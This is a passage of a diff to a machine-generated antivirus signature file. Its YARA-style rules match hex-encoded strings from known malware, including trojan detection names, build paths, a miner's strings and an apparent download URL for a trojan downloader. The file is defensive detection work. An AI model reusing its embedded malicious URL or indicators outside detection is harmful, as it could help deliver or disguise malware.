61 61 64 69 67 65 73 2e 6a 70 67 01 00 0e 81 01 62 65 72 69 67 74 69 67 65 72 2e 6a 70 67 00 00 78 e7 00 00 09 00 09 00 07 } //25960 + $a_48_5 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 72 69 76 65 72 4c 6f 61 64 65 72 2e 52 44 42 21 4d 54 } //8448 TR:Trojan:Win64/DriverLoader.RDB!MT + $a_00_6 = {2c 01 6b } //66 + $a_70_7 = {65 72 2d 6d 61 73 74 65 72 5c 78 36 34 5c 44 65 62 75 67 5c 6b 64 6d 61 70 70 65 72 5f 44 65 62 75 67 2e 70 64 62 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 43 72 65 61 74 65 46 69 6c 65 57 01 00 18 01 4e 74 51 75 65 72 79 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e } //28004 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26704+(#a_37_2 & 1)*12660+(#a_44_3 & 1)*385+(#a_64_4 & 1)*25960+(#a_48_5 & 1)*8448+(#a_00_6 & 1)*66+(#a_70_7 & 1)*28004) >=8 + +} +rule _InfrastructureShared_16243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -176474,7 +188252,7 @@ rule _InfrastructureShared_15245{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28265+(#a_2e_2 & 1)*25959+(#a_2e_3 & 1)*30050+(#a_46_5 & 1)*25927+(#a_6e_6 & 1)*26996+(#a_50_7 & 1)*29797) >=8 } -rule _InfrastructureShared_15246{ +rule _InfrastructureShared_16244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 21 " @@ -176490,7 +188268,7 @@ rule _InfrastructureShared_15246{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=9 } -rule _InfrastructureShared_15247{ +rule _InfrastructureShared_16245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -176508,7 +188286,7 @@ rule _InfrastructureShared_15247{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28521+(#a_50_2 & 1)*29797+(#a_35_3 & 1)*19713+(#a_64_4 & 1)*14164+(#a_54_5 & 1)*20314+(#a_4d_6 & 1)*12594+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_15248{ +rule _InfrastructureShared_16246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -176525,7 +188303,7 @@ rule _InfrastructureShared_15248{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_72_2 & 1)*16641+(#a_6e_3 & 1)*28494+(#a_01_5 & 1)*1792+(#a_2a_6 & 1)*385+(#a_e7_7 & 1)*0+(#a_01_8 & 1)*-28555) >=9 } -rule _InfrastructureShared_15249{ +rule _InfrastructureShared_16247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -176542,7 +188320,7 @@ rule _InfrastructureShared_15249{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*10794+(#a_3e_4 & 1)*4095+(#a_79_5 & 1)*25940+(#a_61_6 & 1)*26469+(#a_69_7 & 1)*14956+(#a_90_8 & 1)*3856) >=9 } -rule _InfrastructureShared_15250{ +rule _InfrastructureShared_16248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -176553,7 +188331,7 @@ rule _InfrastructureShared_15250{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28595) >=11 } -rule _InfrastructureShared_15251{ +rule _InfrastructureShared_16249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -176570,7 +188348,7 @@ rule _InfrastructureShared_15251{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_01_3 & 1)*29793+(#a_04_4 & 1)*-28659+(#a_01_5 & 1)*-24296+(#a_00_7 & 1)*114+(#a_61_8 & 1)*25600+(#a_00_9 & 1)*116) >=12 } -rule _InfrastructureShared_15252{ +rule _InfrastructureShared_16250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 14 00 04 00 21 " @@ -176583,7 +188361,7 @@ rule _InfrastructureShared_15252{ ((#a_72_0 & 1)*22051+(#a_08_1 & 1)*-32511+(#a_61_2 & 1)*25193+(#a_48_3 & 1)*21061) >=20 } -rule _InfrastructureShared_15253{ +rule _InfrastructureShared_16251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 05 00 08 00 21 " @@ -176598,7 +188376,7 @@ rule _InfrastructureShared_15253{ ((#a_77_0 & 1)*19491+(#a_02_1 & 1)*27747+(#a_c0_2 & 1)*-955+(#a_ca_3 & 1)*1091+(#a_40_4 & 1)*-32607+(#a_41_7 & 1)*8448) >=5 } -rule _InfrastructureShared_15254{ +rule _InfrastructureShared_16252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -176611,7 +188389,7 @@ rule _InfrastructureShared_15254{ ((#a_46_0 & 1)*21283+(#a_fc_1 & 1)*1012+(#a_eb_2 & 1)*-30468+(#a_0f_3 & 1)*-31798) >=1 } -rule _InfrastructureShared_15255{ +rule _InfrastructureShared_16253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -176623,7 +188401,7 @@ rule _InfrastructureShared_15255{ ((#a_72_0 & 1)*22051+(#a_00_3 & 1)*-31729+(#a_00_4 & 1)*64) >=1 } -rule _InfrastructureShared_15256{ +rule _InfrastructureShared_16254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -176634,7 +188412,7 @@ rule _InfrastructureShared_15256{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*656) >=2 } -rule _InfrastructureShared_15257{ +rule _InfrastructureShared_16255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -176644,7 +188422,7 @@ rule _InfrastructureShared_15257{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_15258{ +rule _InfrastructureShared_16256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -176655,7 +188433,7 @@ rule _InfrastructureShared_15258{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*66) >=2 } -rule _InfrastructureShared_15259{ +rule _InfrastructureShared_16257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -176668,7 +188446,7 @@ rule _InfrastructureShared_15259{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25954+(#a_00_2 & 1)*9284+(#a_e8_3 & 1)*9284) >=2 } -rule _InfrastructureShared_15260{ +rule _InfrastructureShared_16258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -176680,7 +188458,7 @@ rule _InfrastructureShared_15260{ ((#a_70_0 & 1)*16675+(#a_65_1 & 1)*30575+(#a_52_3 & 1)*21320) >=2 } -rule _InfrastructureShared_15261{ +rule _InfrastructureShared_16259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -176694,7 +188472,7 @@ rule _InfrastructureShared_15261{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24931+(#a_75_2 & 1)*8293+(#a_63_3 & 1)*29810+(#a_61_4 & 1)*11585) >=2 } -rule _InfrastructureShared_15262{ +rule _InfrastructureShared_16260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176706,7 +188484,7 @@ rule _InfrastructureShared_15262{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_41_2 & 1)*11568) >=3 } -rule _InfrastructureShared_15263{ +rule _InfrastructureShared_16261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176717,7 +188495,7 @@ rule _InfrastructureShared_15263{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109) >=3 } -rule _InfrastructureShared_15264{ +rule _InfrastructureShared_16262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176727,7 +188505,7 @@ rule _InfrastructureShared_15264{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15265{ +rule _InfrastructureShared_16263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176739,7 +188517,7 @@ rule _InfrastructureShared_15265{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*257+(#a_03_2 & 1)*400) >=3 } -rule _InfrastructureShared_15266{ +rule _InfrastructureShared_16264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176749,7 +188527,7 @@ rule _InfrastructureShared_15266{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15267{ +rule _InfrastructureShared_16265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -176762,22 +188540,34 @@ rule _InfrastructureShared_15267{ ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*28483+(#a_2a_3 & 1)*9054+(#a_69_4 & 1)*30068) >=3 } -rule _InfrastructureShared_15268{ +rule _InfrastructureShared_16266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 68 72 65 61 64 70 6f 6f 6c 2e 41 21 64 68 61 00 02 00 32 00 43 3a 5c 55 73 65 72 73 5c 46 42 49 5c 64 6f 63 75 6d 65 6e 74 73 5c 76 69 73 75 61 6c 20 73 74 75 64 69 6f 20 32 30 31 30 5c } //16675 $a_6a_1 = {63 74 73 01 00 0c 01 42 49 54 53 20 53 65 72 76 69 63 65 01 00 1f 01 25 64 20 62 79 74 65 73 20 6f 66 20 68 61 6e 64 73 68 61 6b 65 20 64 61 74 61 20 73 65 6e 74 01 00 12 01 61 63 6b 25 75 2e 25 75 2e 25 75 2e 74 75 6e 2e 25 73 01 00 12 01 4c 65 66 74 6f 76 65 72 20 62 79 74 65 73 3a 20 25 75 01 00 14 02 73 63 72 65 65 6e 68 6f 6f } //29264 - $a_01_2 = {02 2e 64 6c 6c 90 00 01 00 0b 01 68 6f 6f 6b 6c 64 72 2e 65 78 65 00 00 78 e8 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 74 68 72 65 61 74 69 6e 74 65 6c 5f 76 6f 6c 65 78 69 74 79 5f 63 6f 6d 2f 41 50 54 5f 4d 41 4c 5f 57 69 6e 5f 44 65 63 52 6f 6b 00 01 00 21 03 01 23 45 67 90 01 02 90 02 12 c7 90 01 03 89 ab cd ef c7 90 01 03 fe dc ba 98 90 0a 0f 00 c7 90 00 01 00 3c 01 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2a } //29547 - $a_00_4 = {6d 00 20 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 01 00 28 01 72 00 6f 00 6f 00 74 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 01 00 15 03 25 30 32 78 90 02 0a 43 72 65 61 74 65 54 68 72 65 61 64 90 00 00 00 78 e8 00 00 } //114 - $a_00_5 = {04 00 21 23 } //4 - $a_3a_6 = {6f 69 6e 4d 69 6e 65 72 33 32 3a 47 72 69 6e 50 72 6f 4d 69 6e 65 72 00 01 00 45 00 5c 4d 69 6e 65 5c 5f 47 47 4d 5f 46 69 6e 61 6c 5c 47 72 69 6e 50 72 6f 5f 4d 61 73 74 65 72 5c 47 72 69 6e 50 72 6f 5c 50 72 6f 4d 69 6e 65 72 5c 53 68 61 72 65 64 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 5c 01 00 15 00 43 75 63 6b 6f 6f 4d 69 6e 65 4c } //28737 + $a_01_2 = {02 2e 64 6c 6c 90 00 01 00 0b 01 68 6f 6f 6b 6c 64 72 2e 65 78 65 00 00 78 e8 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 4e 65 69 67 68 62 6f 72 2e 43 43 4a 52 21 4d 54 42 00 01 00 20 01 4d 69 63 72 6f 73 6f 66 74 5c 50 72 6f 74 65 63 74 5c 43 65 72 74 53 79 73 74 65 6d 2e 64 6c 6c 02 00 1c 01 68 74 74 70 73 3a 2f 2f 6f 72 65 67 6f 6e 67 72 65 65 } //29547 + $a_65_3 = {2e 74 6f 70 2f 01 00 64 01 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 39 37 2e 30 } //29550 + $a_39_4 = {2e 37 31 00 00 78 e8 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 74 68 72 65 61 74 69 6e 74 65 6c 5f 76 6f 6c 65 78 69 74 79 5f 63 6f 6d 2f 41 50 54 5f } //13358 + $a_5f_5 = {69 6e 5f 44 65 63 52 6f 6b 00 01 00 21 03 01 23 45 67 90 01 02 90 02 12 c7 90 01 03 89 ab cd ef c7 90 01 03 fe dc ba 98 90 0a 0f 00 c7 90 00 01 00 3c 01 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2a 00 20 00 46 00 72 00 6f 00 6d } //16717 condition: - ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*29264+(#a_01_2 & 1)*29547+(#a_00_4 & 1)*114+(#a_00_5 & 1)*4+(#a_3a_6 & 1)*28737) >=3 + ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*29264+(#a_01_2 & 1)*29547+(#a_65_3 & 1)*29550+(#a_39_4 & 1)*13358+(#a_5f_5 & 1)*16717) >=3 } -rule _InfrastructureShared_15269{ +rule _InfrastructureShared_16267{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 4e 65 69 67 68 62 6f 72 2e 43 43 4a 52 21 4d 54 42 00 01 00 20 01 4d 69 63 72 6f 73 6f 66 74 5c 50 72 6f 74 65 63 74 5c 43 } //21539 + $a_53_1 = {73 74 65 6d 2e 64 6c 6c 02 00 1c 01 68 74 74 70 73 3a 2f 2f 6f 72 65 67 6f 6e 67 72 65 65 6e 73 65 65 64 2e 74 6f 70 2f 01 00 64 01 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b } //29285 + $a_65_2 = {6b 6f 29 20 43 68 72 6f 6d 65 2f 39 37 2e 30 2e 34 36 39 32 2e 37 31 00 00 78 e8 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 74 68 72 65 61 74 69 6e 74 65 6c 5f 76 6f 6c 65 78 69 74 79 5f 63 6f 6d 2f 41 } //8293 + condition: + ((#a_4c_0 & 1)*21539+(#a_53_1 & 1)*29285+(#a_65_2 & 1)*8293) >=4 + +} +rule _InfrastructureShared_16268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -176790,7 +188580,7 @@ rule _InfrastructureShared_15269{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*-26438+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*28737) >=4 } -rule _InfrastructureShared_15270{ +rule _InfrastructureShared_16269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -176802,7 +188592,7 @@ rule _InfrastructureShared_15270{ ((#a_70_0 & 1)*16675+(#a_69_1 & 1)*28492+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_15271{ +rule _InfrastructureShared_16270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -176813,7 +188603,7 @@ rule _InfrastructureShared_15271{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_15272{ +rule _InfrastructureShared_16271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -176825,7 +188615,7 @@ rule _InfrastructureShared_15272{ ((#a_54_0 & 1)*18467+(#a_8e_1 & 1)*22551+(#a_00_2 & 1)*22794) >=4 } -rule _InfrastructureShared_15273{ +rule _InfrastructureShared_16272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -176839,7 +188629,7 @@ rule _InfrastructureShared_15273{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25441+(#a_69_2 & 1)*17267+(#a_01_3 & 1)*8960+(#a_53_4 & 1)*25957) >=4 } -rule _InfrastructureShared_15274{ +rule _InfrastructureShared_16273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -176852,7 +188642,7 @@ rule _InfrastructureShared_15274{ ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*29486+(#a_65_2 & 1)*24915+(#a_00_4 & 1)*103) >=4 } -rule _InfrastructureShared_15275{ +rule _InfrastructureShared_16274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -176865,7 +188655,7 @@ rule _InfrastructureShared_15275{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1) >=4 } -rule _InfrastructureShared_15276{ +rule _InfrastructureShared_16275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -176880,7 +188670,7 @@ rule _InfrastructureShared_15276{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*266+(#a_74_2 & 1)*28515+(#a_6d_3 & 1)*8302+(#a_00_4 & 1)*11809+(#a_20_5 & 1)*28417) >=4 } -rule _InfrastructureShared_15277{ +rule _InfrastructureShared_16276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -176894,7 +188684,7 @@ rule _InfrastructureShared_15277{ ((#a_63_0 & 1)*18467+(#a_2e_1 & 1)*24937+(#a_74_2 & 1)*28277+(#a_31_3 & 1)*400+(#a_90_4 & 1)*-14572) >=4 } -rule _InfrastructureShared_15278{ +rule _InfrastructureShared_16277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -176910,7 +188700,7 @@ rule _InfrastructureShared_15278{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28603+(#a_c7_2 & 1)*12833+(#a_00_3 & 1)*-32753+(#a_65_4 & 1)*28527+(#a_53_5 & 1)*8545+(#a_61_6 & 1)*27756) >=4 } -rule _InfrastructureShared_15279{ +rule _InfrastructureShared_16278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -176927,7 +188717,7 @@ rule _InfrastructureShared_15279{ ((#a_46_0 & 1)*16675+(#a_51_1 & 1)*18017+(#a_46_2 & 1)*20076+(#a_69_3 & 1)*30027+(#a_2f_4 & 1)*28788+(#a_00_5 & 1)*110+(#a_49_6 & 1)*20060+(#a_00_7 & 1)*25976) >=4 } -rule _InfrastructureShared_15280{ +rule _InfrastructureShared_16279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -176937,13 +188727,13 @@ rule _InfrastructureShared_15280{ $a_61_2 = {6d 65 6e 67 2e 63 6f 6d 90 00 00 00 78 e8 00 00 05 00 05 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 01 00 4b 80 01 64 3a 5c 50 72 6f 6a 65 63 74 73 5c 56 69 73 75 61 6c 20 53 74 75 64 69 6f 5c 4e 53 49 53 20 50 6c 75 67 69 6e 73 5c 49 70 43 6f 6e 66 69 67 5c 4f 75 74 70 75 74 5c } //31336 $a_67_3 = {6e 73 5c 49 70 43 6f 6e 66 69 67 2e 70 64 62 01 00 12 80 01 57 61 6a 61 6d 20 57 65 62 20 45 6e 68 61 6e 63 65 72 02 00 0c 80 01 77 61 6a 61 6d 5f 36 34 2e 65 78 65 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 68 6f 6d 65 64 65 70 6f 74 2e 69 63 6f 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e } //27728 $a_9c_4 = {0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 e8 00 00 05 00 05 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 00 01 00 0f 03 2f ff c5 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 66 90 09 04 00 81 90 01 01 24 90 00 01 00 } //30821 - $a_12_5 = {66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 2f ff c5 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 03 90 09 04 00 81 90 01 01 24 90 00 00 00 78 e8 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 31 37 21 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2d 81 01 41 2e 63 64 31 64 63 37 31 33 63 39 35 37 30 63 34 35 64 61 61 39 64 64 36 64 39 31 37 } //783 - $a_61_6 = {32 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b } //25143 + $a_12_5 = {66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 2f ff c5 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 03 90 09 04 00 81 90 01 01 24 90 00 00 00 78 e8 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 4e 21 4d 54 42 00 02 00 3e 01 66 00 65 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 66 00 6c 00 6f 00 6b 00 73 00 69 00 6c 00 6b 00 65 00 72 00 6e 00 65 00 73 00 20 00 67 00 69 00 73 00 66 00 } //783 + $a_00_6 = {65 00 02 00 38 01 73 00 6c 00 65 00 65 00 76 00 65 00 64 00 20 00 72 00 6f 00 74 00 69 00 66 00 65 00 72 00 61 00 6c 00 20 00 73 00 74 00 69 00 6e 00 6b 00 62 00 65 00 72 00 72 00 79 00 02 00 3a 01 77 00 68 00 6f 00 6c 00 65 00 73 00 61 00 6c 00 65 00 6c 00 79 00 20 00 6b 00 61 00 75 00 74 00 69 00 6f 00 6e 00 69 00 73 00 } //109 condition: - ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*27393+(#a_61_2 & 1)*31336+(#a_67_3 & 1)*27728+(#a_9c_4 & 1)*30821+(#a_12_5 & 1)*783+(#a_61_6 & 1)*25143) >=5 + ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*27393+(#a_61_2 & 1)*31336+(#a_67_3 & 1)*27728+(#a_9c_4 & 1)*30821+(#a_12_5 & 1)*783+(#a_00_6 & 1)*109) >=5 } -rule _InfrastructureShared_15281{ +rule _InfrastructureShared_16280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -176953,14 +188743,14 @@ rule _InfrastructureShared_15281{ $a_80_2 = {55 6e 69 6e 73 74 61 6c 2e 65 78 65 } //Uninstal.exe -100 $a_e8_3 = {00 05 00 05 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 00 01 00 0f 03 2f ff c5 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f } //0 $a_b5_4 = {90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 2f ff c5 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 03 90 09 04 } //-11517 - $a_01_5 = {01 24 90 00 00 00 78 e8 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 31 37 21 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2d 81 01 41 2e 63 64 31 64 63 37 31 33 63 39 35 37 30 63 34 35 64 61 61 39 64 64 36 64 39 31 37 37 62 32 61 31 32 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 } //-32512 - $a_43_6 = {6e } //-32482 n - $a_65_7 = {2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 01 00 25 81 01 24 38 30 38 37 38 39 61 65 2d 62 37 32 33 2d 34 37 61 33 2d 61 37 39 35 2d 64 64 36 35 61 30 32 35 64 66 36 38 01 00 10 81 01 42 43 56 43 42 42 44 48 44 44 48 44 2e 70 64 62 00 00 78 e8 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //30054 + $a_01_5 = {01 24 90 00 00 00 78 e8 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 4e 21 4d 54 42 00 02 00 3e 01 66 00 65 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 66 00 6c 00 6f 00 6b 00 73 00 69 00 6c 00 6b 00 65 00 72 00 6e 00 65 00 73 00 20 00 67 00 69 00 73 00 66 00 6d 00 6c 00 65 00 02 00 38 01 73 00 6c 00 65 00 65 00 76 00 65 00 64 00 20 00 72 00 6f 00 74 00 } //-32512 + $a_00_6 = {65 00 72 00 61 00 6c 00 20 00 73 00 74 00 69 00 6e 00 6b 00 